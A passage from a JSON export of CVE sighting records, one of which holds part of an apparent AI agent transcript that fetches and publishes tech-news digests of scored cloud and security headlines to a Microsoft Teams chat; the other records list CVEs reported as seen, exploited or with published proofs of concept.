50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Transform previews automated FSx for ONTAP migration](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-vmware-fsx-for-ontap-preview)** \u2014 **Score: 32/35.** AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\\n  2. **[US Homeland Security awards AWS a $2.6 billion cloud contract](https://news.google.com/rss/articles/CBMilAFBVV95cUxPZUgxZ0hrd05pNGxaLVpRdjdFUWtyWXdzdWtWVzZ1NVZOeFNEY05Wa2R2NnphYnR4NGpCLU9HRnJ0cXYycWQtV1JVLUtGYV8xb0Q4X0tLT2VHaXo5ZnNuOFBsSFZ3T0w3cVBQODg5OTF3STI0MUhNeExXcW41VE5RWXVuT0Z6eVFJTjViWlNVSUtabG9q?oc=5)** \u2014 **Score: 31/35.** The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\\n  3. **[AWS Console Private Access works without internet connectivity](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-management-console-private/)** \u2014 **Score: 30/35.** Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\\n  4. **[AWS extends managed MySQL 5.7 support through June 2029](https://aws.amazon.com/about-aws/whats-new/2026/06/rds-mysql-es-extension/)** \u2014 **Score: 29/35.** Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\\n  5. **[Cloud-native and PyTorch conferences unite in China](https://news.google.com/rss/articles/CBMi1gFBVV95cUxOTUF3UFVYQm1ablY2Ny15RWVqN1MzWmV1LVczX3RnYjFoOUE3aTNsZEpydW05R2kxbGFvTndJSHJkX2ZRbXg4SGN1ZFhRS2hvYVVZRW5fMktSZkFyYnpiN04yWXBPYU5OUW9KLW9yLVNPSEdiRjVXXzgtekVUUE1QSEpIcHd6WXRjTUl4NnZNZTNwYkVETGlQeE1va2ZiM25xM01RNkFBQ1JPWGxlaG1vQmN5a0hhY29LSlNxLVVWZVRXc3MxNTZuczZtdGF2V2NDMU1aRGdB0gHWAUFVX3lxTE5NQXdQVVhCbVpuVjY3LXlFZWo3UzNaZXUtVzNfdGdiMWg5QTdpM2xkSnJ1bTlHaTFsYW9Od0lIcmRfZlFteDhIY3VkWFFLaG9hVVlFbl8yS1JmQXJiemI3TjJZcE9hTk5Rb0otb3ItU09IR2JGNVdfOC16RVRQTVBISkhwd3pZdGNNSXg2dk1lM3BiRURMaVB4TW9rZmIzbnEzTVE2QUFDUk9YbGVobW9CY3lrSGFjb0tKU3EtVVZlVFdzczE1Nm5zNm10YXZXY0MxTVpEZ0E?oc=5)** \u2014 **Score: 29/35.** KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\\n  6. **[NDAA proposal would codify CISA\u2019s vulnerability-program role](https://news.google.com/rss/articles/CBMixwFBVV95cUxQVGRpRzlwaFhhdnNJcnBtREYtUGR2a3ZYUU13bzZFbEJNcWsyakU1M2d6VUZmMkFITV9IMmVNZ0xPdl9hRzVlcFNGRXJyWktsTWJkQ0Z6RWUxc2xfbHRYelZyOEM4X0tWWmtmd09WVVJ5aGxqTzRQTHdpSnAwMHN4UHR5Z2gyb0plRUo5R2JCeUVMc240eG9PbjRFZU1DMURfVjlEcS1MTU1GWFhIRm9wZzg5UHI2aXFpYWVXU0N5UjQ4dGxLMENr?oc=5)** \u2014 **Score: 28/35.** A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\\n  7. **[Microsoft faces shareholder suit over AI spending and cloud disclosures](https://news.google.com/rss/articles/CBMiqwFBVV95cUxNUmJQUkh0dTUzZ2dITlpFWVp1ZGp4d0t2T3RYNHZMTVVra042ZVNYTk94R1dKdjM2cU0yWTh5cXNCVlVHTkFXRDFiT3ptRnNPeDUteGR1RDV5eWVoS3M4NFJsNDVpcHlVTVluQWViLUI0a29XR0JOaERIUXZnUTJ2V2VXSWs4MFBzMlFUR2NGNHJRcEFjUWptTU84dEZ2UllET0NWX2hsTDgwRDQ?oc=5)** \u2014 **Score: 28/35.** Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\\n  8. **[Alibaba Cloud expands in France amid sovereignty pressure](https://news.google.com/rss/articles/CBMixwFBVV95cUxNRWt4YVIzc3JfTTVSQkc1c1hUQktrNVpxRk9WbDU5cnlwMVVRanZvdlVTaDhPYkJVXzB4bmVGUDFtVE5XaVA3UUQ3dGR1aTJ6bWNHS2NDMXNlYVJBMWFJekc2czNrX25WM2M5Q0pqZG1rSnViQjkwSk5RdEkyX3BlMThPd3AtSW5Cd3BLYmp3SVJSd1dMU1hBVHpQQzBpb3J4M3ctRXlPWGp1dFlpOEJaOG1QdTU3a1NoOWxZTWdmMnEtNmFHUUNR0gHHAUFVX3lxTE1YUHlGUUZZd3BmLXFfVHpWY2ZKZGNPR3Q5MUZuZ09iTU5IZVpack9lN2Fud2FhRUd5WElYc3lUMjJncjlfN0h5eWxjWDhpMHZMbzJyQzlvRm9JTlBaa252dnUwcExlSUwtTHFCUld1M0Q1N3VZc19xYmlLVk9GaWcxb2h1RThBREpvNEMtdHlXb0g5YnVCLS1iRHRHcThyNjdROV9KSEx3VGw1Y2xZX0kySzBJT0RBdi1YQWlNQzNSLVJ1T0o1SEE?oc=5)** \u2014 **Score: 28/35.** Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\\n  9. **[AWS opens a Local Zone in Hanoi](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-local-zones-hanoi-vietnam/)** \u2014 **Score: 27/35.** AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\\n  10. **[Researchers turn retired smartphones into a mini cloud](https://news.google.com/rss/articles/CBMivwFBVV95cUxPRnE0ZVFnbXFZbnJZSEhVclNQS0RpMFRVQ181Ym05OUhxREM1NGpMY3B0NVozZzd0SGpnTUdHSzRuajBpTUhyeXZSY3NRN09LbFMtWmxJY1VCUkN4Y21tN2VPMUU0WFRuWl81eV9wd2lMcERQVERacEJfUlRFQ1J1b3kxcDA2YVV4a2pjVG9qTGJ3RUszeGxBOVpMNmVrTmExaEJrRURZaWJkV0dqUHBXeWF3RnhIVTc0ZlVnMlpDMA?oc=5)** \u2014 **Score: 24/35.** Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:33.503Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863296933\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Route 53 DNS Firewall integrates Palo Alto threat protection](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-route-53-resolver-dns/)** \u2014 **Score: 31/35.** Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\\n  2. **[Microsoft fixes failed Windows Server 2016 security updates](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-server-2016-security-update-failures/)** \u2014 **Score: 30/35.** Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\\n  3. **[Amazon RDS adds Graviton5 M9g database instances](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-rds-postgresql-mysql-mariadb-m9g-instances/)** \u2014 **Score: 30/35.** RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\\n  4. **[CloudWatch centralizes metrics across accounts and regions](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cross-account-metrics-centralization)** \u2014 **Score: 30/35.** CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\\n  5. **[AWS expands nested virtualization across Intel instances](https://aws.amazon.com/about-aws/whats-new/2026/06/nested-virtualization-intel-us-gov-cloud/)** \u2014 **Score: 30/35.** AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\\n  6. **[CloudWatch Query Studio reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cloudwatch-query-studio-generally-available)** \u2014 **Score: 29/35.** CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\\n  7. **[CNCF program expands Arm64 testing for open-source projects](https://www.cncf.io/blog/2026/06/15/improving-arm64-support-in-cncf-projects-with-oci-credits/)** \u2014 **Score: 29/35.** CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\\n  8. **[AWS improves EBS rightsizing with spike-aware metrics](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-compute-optimizer-enhances-ebs-recommendations/)** \u2014 **Score: 28/35.** Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\\n  9. **[Apple patches a high-severity Beats eavesdropping flaw](https://arstechnica.com/apple/2026/06/apple-patches-high-severity-eavesdropping-vulnerability-in-beats-studio-buds/)** \u2014 **Score: 27/35.** Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\\n  10. **[GameLift improves container fleets for game servers](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-gamelift-servers-container-fleet-improvements)** \u2014 **Score: 27/35.** GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:36.933Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> - Deleted `./collect_repeat_candidates.py` (+0 -300)\n> - Deleted `./wanted_repeat_titles.json` (+0 -52)\n> - Deleted `./wanted_repeat_titles_2.json` (+0 -52)\n>\n> - Ran `git status --short --branch`\n>\n> \n\n\nDone\u201410/10 additional ChatReview posts published and verified, containing 100 distinct scored stories from a 731-candidate sweep.\n\nPosts: [1](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721) \u00b7 [2](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471) \u00b7 [3](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391) \u00b7 [4](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435) \u00b7 [5](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228) \u00b7 [6](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556) \u00b7 [7](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503) \u00b7 [8](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467) \u00b7 [9](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479) \u00b7 [10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933)\n", "creation_timestamp": "2026-06-19T10:43:18.000000Z"}, {"uuid": "0bbe1b0d-cfef-46bf-92cc-70e891fa81b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mon6ngtoss2q", "content": "Unauthenticated RCE in Splunk Enterprise under active attack (CVE-2026-20253)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/06/19/s...\n\n#cybersecurity #cybersecuritynews #monitoring #SIEM #vulnerability #CISA", "creation_timestamp": "2026-06-19T10:57:01.847112Z"}, {"uuid": "a5effc9a-864c-4992-b994-8abfeb474f1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "Telegram/-Ey-6tv11tjPalU5kMWFNVkRkjtny-ht3NLFzaCwvbHA5g", "content": "", "creation_timestamp": "2026-06-06T05:46:11.000000Z"}, {"uuid": "fb75db55-33ad-4df0-b925-6afa7d68e0a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "Telegram/5qW5gV7-qoBxzKDv9J2fDYEvV25ComYYg-PDvxq2HqqT9g", "content": "", "creation_timestamp": "2026-06-04T17:46:17.000000Z"}, {"uuid": "7de5fd8d-bc06-418d-afe2-de746b8243e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "Telegram/M15E1s_P5stYGX4V5y997c8VsZZPVkO-2j9hCC_5vTlGhA", "content": "", "creation_timestamp": "2026-06-10T19:24:43.000000Z"}, {"uuid": "857a3283-e7fe-4d46-b4c8-643028539496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/z4CK41gKHpfLp7kaaAJJNGb1sNYljSZXLMSwKCJ0b-jo3nA", "content": "", "creation_timestamp": "2026-06-14T09:00:04.000000Z"}, {"uuid": "8a48a83e-2e4e-489f-8084-2e60c890fd46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mon7vdl4g32k", "content": "Splunk Enterprise\u3067\u8a8d\u8a3c\u4e0d\u8981\u306eRCE\u304c\u60aa\u7528\u4e2d\uff08CVE-2026-20253\uff09\n\nCISA\u306fCVE-2026-20253\u3092Known Exploited Vulnerabilities\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306fSplunk Enterprise\u306b\u5b58\u5728\u3059\u308b\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u60aa\u7528\u53ef\u80fd\u306a\u6df1\u523b\u306a\u8106\u5f31\u6027\u3067\u3042\u308a\u3001\u7c73\u56fd\u9023\u90a6\u6c11\u9593\u6a5f\u95a2\u306b\u5bfe\u3057\u30662026\u5e746\u670821\u65e5\u307e\u3067\u306b\u7de9\u548c\u63aa\u7f6e\u3092\u9069\u7528\u3059\u308b\u3088\u3046\u547d\u3058\u3066\u3044\u307e\u3059...", "creation_timestamp": "2026-06-19T11:19:17.566678Z"}, {"uuid": "eefc3332-2e7c-4a16-a40e-926775b9c66f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/42a2435d-e155-48f4-a9ff-12c8a7892a4e", "content": "", "creation_timestamp": "2026-06-19T12:45:05.795045Z"}, {"uuid": "6dc3b588-ab85-4c26-b8f9-69339e0b0092", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/311e2ce5-1c70-4196-a31e-79f75606e77b", "content": "", "creation_timestamp": "2026-06-19T12:45:06.568781Z"}, {"uuid": "dee9006f-2ee8-4bfe-bccc-6581d52d85da", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/54db2ae9-1789-4c45-a9a3-04eeaf9e2443", "content": "", "creation_timestamp": "2026-06-19T12:45:09.988182Z"}, {"uuid": "1900a189-a9b4-4f63-b6ac-b536f7fd7cc6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a1d1bd3d-13ab-4d6e-bf93-044b840cd13b", "content": "", "creation_timestamp": "2026-06-19T12:45:14.605191Z"}, {"uuid": "b896bd68-8ca4-42b0-8c6f-b9c0f8dec708", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/22fa7703-4d66-48a8-88d8-5270f6a5086a", "content": "", "creation_timestamp": "2026-06-19T12:45:14.683645Z"}, {"uuid": "d8293f14-1a48-4e8a-9076-e255f8686d11", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/835bda96-0039-432c-a07c-10d8940d90b8", "content": "", "creation_timestamp": "2026-06-19T12:45:19.833878Z"}, {"uuid": "5740fd97-33c3-429f-973a-fa55223437cc", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/22386e29-7d59-4755-a2c9-945e06d5c2b0", "content": "", "creation_timestamp": "2026-06-19T12:45:13.049964Z"}, {"uuid": "c396d072-8e97-428b-8883-555234e8b1ae", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8a8ebb8f-ca49-418c-8b26-f22be6bc97da", "content": "", "creation_timestamp": "2026-06-19T12:45:13.106308Z"}, {"uuid": "79cf7818-d583-42df-867b-8a7afba4b8da", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/36939b49-5117-413e-985b-6903ccbe68ae", "content": "", "creation_timestamp": "2026-06-19T12:45:13.167723Z"}, {"uuid": "a3657de1-27d2-4001-8900-acbf77715e40", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/17f40e61-1e07-4d4d-9393-da83c5b5a689", "content": "", "creation_timestamp": "2026-06-19T12:45:17.138449Z"}, {"uuid": "481d17d5-b635-4e04-a3c6-4635b26809c3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20118", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4def92cd-c91c-41e8-80b7-3d3d9e6f3e49", "content": "", "creation_timestamp": "2026-06-19T12:45:15.055140Z"}, {"uuid": "a9978caf-dbf7-4a0c-9fb0-8965efbca15b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c28f3e2c-af7e-4081-979c-5e0d800c731b", "content": "", "creation_timestamp": "2026-06-19T12:45:19.762677Z"}, {"uuid": "1b28473d-a034-4379-a79e-50c0e6002f29", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/90ff1026-d346-42fe-9ef6-0370d9f6ab7d", "content": "", "creation_timestamp": "2026-06-19T12:45:15.795670Z"}, {"uuid": "b8a8c554-d381-401a-871b-630493305a7b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20051", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/52b9a104-c2b1-4ff5-8636-443caa85ec18", "content": "", "creation_timestamp": "2026-06-19T12:45:15.862134Z"}, {"uuid": "031e1795-b0f6-42e7-8a19-2f64d564dc3f", "vulnerability_lookup_origin": 